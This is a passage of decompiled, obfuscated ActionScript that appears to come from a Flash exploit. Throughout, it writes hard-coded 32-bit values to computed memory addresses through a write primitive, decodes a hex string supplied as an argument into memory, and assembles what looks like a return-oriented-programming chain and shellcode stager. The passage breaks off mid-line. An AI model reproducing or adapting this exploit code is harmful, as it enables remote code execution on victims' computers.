653 | _local8 = (_local8 + 4);
|
654 | this._SafeStr_119(_local8, 0x2000);
|
655 | _local8 = (_local8 + 4);
|
656 | this._SafeStr_119(_local8, 0x1000);
|
657 | _local8 = (_local8 + 4);
|
658 | this._SafeStr_119(_local8, 64);
|
659 | _local8 = (_local8 + 4);
|
660 | this._SafeStr_119(_local8, 2943072);
|
661 | _local8 = (_local8 + 4);
|
662 | this._SafeStr_119(_local8, 0xC6610000);
|
663 | _local8 = (_local8 + 4);
|
664 | this._SafeStr_119(_local8, 0x89000447);
|
665 | _local8 = (_local8 + 4);
|
666 | this._SafeStr_119(_local8, 3224501492);
|
667 | _local8 = (_local8 + 4);
|
668 | this._SafeStr_119(_local8, 3213711176);
|
669 | _local8 = (_local8 + 4);
|
670 | this._SafeStr_119(_local8, 0xFFFFFE80);
|
671 | _local8 = (_local8 + 4);
|
672 | this._SafeStr_119(_local8, 3104065417);
|
673 | _local8 = (_local8 + 4);
|
674 | this._SafeStr_119(_local8, 0x0200);
|
675 | _local8 = (_local8 + 4);
|
676 | this._SafeStr_119(_local8, 2868104961);
|
677 | _local8 = (_local8 + 4);
|
678 | this._SafeStr_119(_local8, 3355347295);
|
679 | _local8 = (_local8 + 4);
|
680 | this._SafeStr_119(_local8, 6214);
|
681 | _local8 = (_local8 + 4);
|
682 | this._SafeStr_119(_local8, 0xC4830000);
|
683 | _local8 = (_local8 + 4);
|
684 | this._SafeStr_119(_local8, 2425406216);
|
685 | _local8 = (_local8 + 4);
|
686 | var _local9:ByteArray = new ByteArray();
|
687 | _local9 = h2ba(_local9, _arg_x);
|
688 | _local9.endian = "littleEndian";
|
689 | _local9.position = 0;
|
690 | while (_local9.position < _local9.length) {
|
691 | _local10 = _local9.readUnsignedInt();
|
692 | this._SafeStr_119(_local8, _local10);
|
693 | _local8 = (_local8 + 4);
|
694 | };
|
695 | }
|
696 | function writeBytes(ba:ByteArray, hex:String):ByteArray{
|
697 | var _local5:int;
|
698 | var _local3:int;
|
699 | ba.position = ba.length;
|
700 | var _local4:uint = hex.length;
|
701 | _local5 = 0;
|
702 | while (_local5 < _local4) {
|
703 | _local3 = ("0x" + hex.substr(_local5, 2));
|
704 | ba.writeByte(_local3);
|
705 | _local5 = (_local5 + 2);
|
706 | };
|
707 | return (ba);
|
708 | }
|
709 | final private function _SafeStr_138():Boolean{
|
710 | var _local1:uint = (this._SafeStr_36 - 1);
|
711 | this._SafeStr_53[_local1] = this._SafeStr_58;
|
712 | this._SafeStr_53.length = (this._SafeStr_44 * 2);
|
713 | this._SafeStr_135();
|
714 | return (true);
|
715 | }
|
716 | final private function _SafeStr_141():void{
|
717 | this._SafeStr_53.length = (this._SafeStr_44 * 2);
|
718 | }
|
719 | final private function _SafeStr_142():Boolean{
|
720 | if (!_SafeStr_12._SafeStr_142(this._SafeStr_106, this.static, this._SafeStr_108, this._SafeStr_57)){
|
721 | return (false);
|
722 | };
|
723 | this._SafeStr_80 = _SafeStr_12._SafeStr_80;
|
724 | this._SafeStr_81 = _SafeStr_12._SafeStr_81;
|
725 | this._SafeStr_82 = _SafeStr_12._SafeStr_82;
|
726 | this._SafeStr_93 = _SafeStr_12._SafeStr_93;
|
727 | this._SafeStr_94 = _SafeStr_12._SafeStr_94;
|
728 | this._SafeStr_95 = _SafeStr_12._SafeStr_95;
|
729 | this._SafeStr_96 = _SafeStr_12._SafeStr_96;
|
730 | this._SafeStr_97 = _SafeStr_12._SafeStr_97;
|
731 | this._SafeStr_98 = _SafeStr_12._SafeStr_98;
|
732 | return (true);
|
733 | }
|
734 | final private function _SafeStr_143(_arg_x:String):void{
|
735 | var _local11:int;
|
736 | var _local12:uint = 0x1200;
|
737 | var _local3:uint = (this._SafeStr_48 - _local12);
|
738 | var _local2:uint = this._SafeStr_78;
|
739 | this._SafeStr_59 = (_local2 + _local3);
|
740 | var _local5:uint = 0x0400;
|
741 | var _local4:uint = (_local3 - _local5);
|
742 | this._SafeStr_58 = (_local2 + _local4);
|
743 | var _local7:uint = (this._SafeStr_58 + 384);
|
744 | this._SafeStr_119((this._SafeStr_58 + 8), 65536);
|
745 | this._SafeStr_119((this._SafeStr_58 + 484), 0);
|
746 | this._SafeStr_119((this._SafeStr_58 + 528), _local7);
|
747 | this._SafeStr_119((this._SafeStr_58 + 532), this._SafeStr_91);
|
748 | this._SafeStr_119(_local7, this._SafeStr_59);
|
749 | this._SafeStr_119((_local7 + 4), this._SafeStr_91);
|
750 | this._SafeStr_119((_local7 + 8), 1);
|
751 | var _local6:uint = 0x0300;
|
752 | while (_local6 < _local5) {
|
753 | this._SafeStr_119((this._SafeStr_58 + _local6), 3735929054);
|
754 | _local6 = (_local6 + 4);
|
755 | };
|
756 | var _local8:uint = 0x0100;
|
757 | var _local10:uint = this._SafeStr_59;
|
758 | this._SafeStr_119(_local10, this._SafeStr_81);
|
759 | _local10 = (_local10 + 4);
|
760 | this._SafeStr_119(_local10, this._SafeStr_92);
|
761 | _local10 = (_local10 + 4);
|
762 | this._SafeStr_119(_local10, this._SafeStr_80);
|
763 | _local10 = (_local10 + 4);
|
764 | this._SafeStr_119(_local10, this._SafeStr_92);
|
765 | _local10 = (_local10 + 4);
|
766 | this._SafeStr_119(_local10, this._SafeStr_93);
|
767 | _local10 = (_local10 + 4);
|
768 | this._SafeStr_119(_local10, this._SafeStr_92);
|
769 | _local10 = (_local10 + 4);
|
770 | this._SafeStr_119(_local10, 64);
|
771 | _local10 = (_local10 + 4);
|
772 | this._SafeStr_119(_local10, 0);
|
773 | _local10 = (_local10 + 4);
|
774 | this._SafeStr_119(_local10, this._SafeStr_97);
|
775 | _local10 = (_local10 + 4);
|
776 | this._SafeStr_119(_local10, this._SafeStr_92);
|
777 | _local10 = (_local10 + 4);
|
778 | _local10 = (_local10 + 40);
|
779 | this._SafeStr_119(_local10, this._SafeStr_94);
|
780 | _local10 = (_local10 + 4);
|
781 | this._SafeStr_119(_local10, this._SafeStr_92);
|
782 | _local10 = (_local10 + 4);
|
783 | this._SafeStr_119(_local10, (this._SafeStr_59 + _local8));
|
784 | _local10 = (_local10 + 4);
|
785 | this._SafeStr_119(_local10, this._SafeStr_91);
|
786 | _local10 = (_local10 + 4);
|
787 | this._SafeStr_119(_local10, this._SafeStr_95);
|
788 | _local10 = (_local10 + 4);
|
789 | this._SafeStr_119(_local10, this._SafeStr_92);
|
790 | _local10 = (_local10 + 4);
|
791 | this._SafeStr_119(_local10, 0x2000);
|
792 | _local10 = (_local10 + 4);
|
793 | this._SafeStr_119(_local10, 0);
|
794 | _local10 = (_local10 + 4);
|
795 | this._SafeStr_119(_local10, this._SafeStr_96);
|
796 | _local10 = (_local10 + 4);
|
797 | this._SafeStr_119(_local10, this._SafeStr_92);
|
798 | _local10 = (_local10 + 4);
|
799 | this._SafeStr_119(_local10, 0x101000);
|
800 | _local10 = (_local10 + 4);
|
801 | this._SafeStr_119(_local10, 0);
|
802 | _local10 = (_local10 + 4);
|
803 | this._SafeStr_119(_local10, this._SafeStr_82);
|
804 | _local10 = (_local10 + 4);
|
805 | this._SafeStr_119(_local10, this._SafeStr_92);
|
806 | _local10 = (_local10 + 4);
|
807 | this._SafeStr_119(_local10, (this._SafeStr_59 + _local8));
|
808 | _local10 = (_local10 + 4);
|
809 | this._SafeStr_119(_local10, this._SafeStr_91);
|
810 | _local10 = (_local10 + 4);
|
811 | _local10 = (this._SafeStr_59 + _local8);
|
812 | this._SafeStr_119(_local10, 2202598544);
|
813 | _local10 = (_local10 + 4);
|
814 | this._SafeStr_119(_local10, 1413607652);
|
815 | _local10 = (_local10 + 4);
|
816 | this._SafeStr_119(_local10, 2202555713);
|
817 | _local10 = (_local10 + 4);
|
818 | this._SafeStr_119(_local10, 1994932460);
|
819 | _local10 = (_local10 + 4);
|
820 | this._SafeStr_119(_local10, 0x48000000);
|
821 | _local10 = (_local10 + 4);
|
822 | this._SafeStr_119(_local10, 1094763651);
|
823 | _local10 = (_local10 + 4);
|
824 | this._SafeStr_119(_local10, 2421965149);
|
825 | _local10 = (_local10 + 4);
|
826 | this._SafeStr_119(_local10, 3209203856);
|
827 | _local10 = (_local10 + 4);
|
828 | this._SafeStr_119(_local10, (this._SafeStr_54 - 16));
|
829 | _local10 = (_local10 + 4);
|
830 | this._SafeStr_119(_local10, this._SafeStr_91);
|
831 | _local10 = (_local10 + 4);
|
832 | this._SafeStr_119(_local10, 3096481936);
|
833 | _local10 = (_local10 + 4);
|
834 | this._SafeStr_119(_local10, this._SafeStr_44);
|
835 | _local10 = (_local10 + 4);
|
836 | this._SafeStr_119(_local10, 3209168777);
|
837 | _local10 = (_local10 + 4);
|
838 | this._SafeStr_119(_local10, _local7);
|
839 | _local10 = (_local10 + 4);
|
840 | this._SafeStr_119(_local10, this._SafeStr_91);
|
841 | _local10 = (_local10 + 4);
|
842 | this._SafeStr_119(_local10, 542662);
|
843 | _local10 = (_local10 + 4);
|
844 | this._SafeStr_119(_local10, 3372204081);
|
845 | _local10 = (_local10 + 4);
|
846 | this._SafeStr_119(_local10, 2160037192);
|
847 | _local10 = (_local10 + 4);
|
848 | this._SafeStr_119(_local10, 1224736766);
|
849 | _local10 = (_local10 + 4);
|
850 | this._SafeStr_119(_local10, 1200224905);
|
851 | _local10 = (_local10 + 4);
|
852 | this._Sa |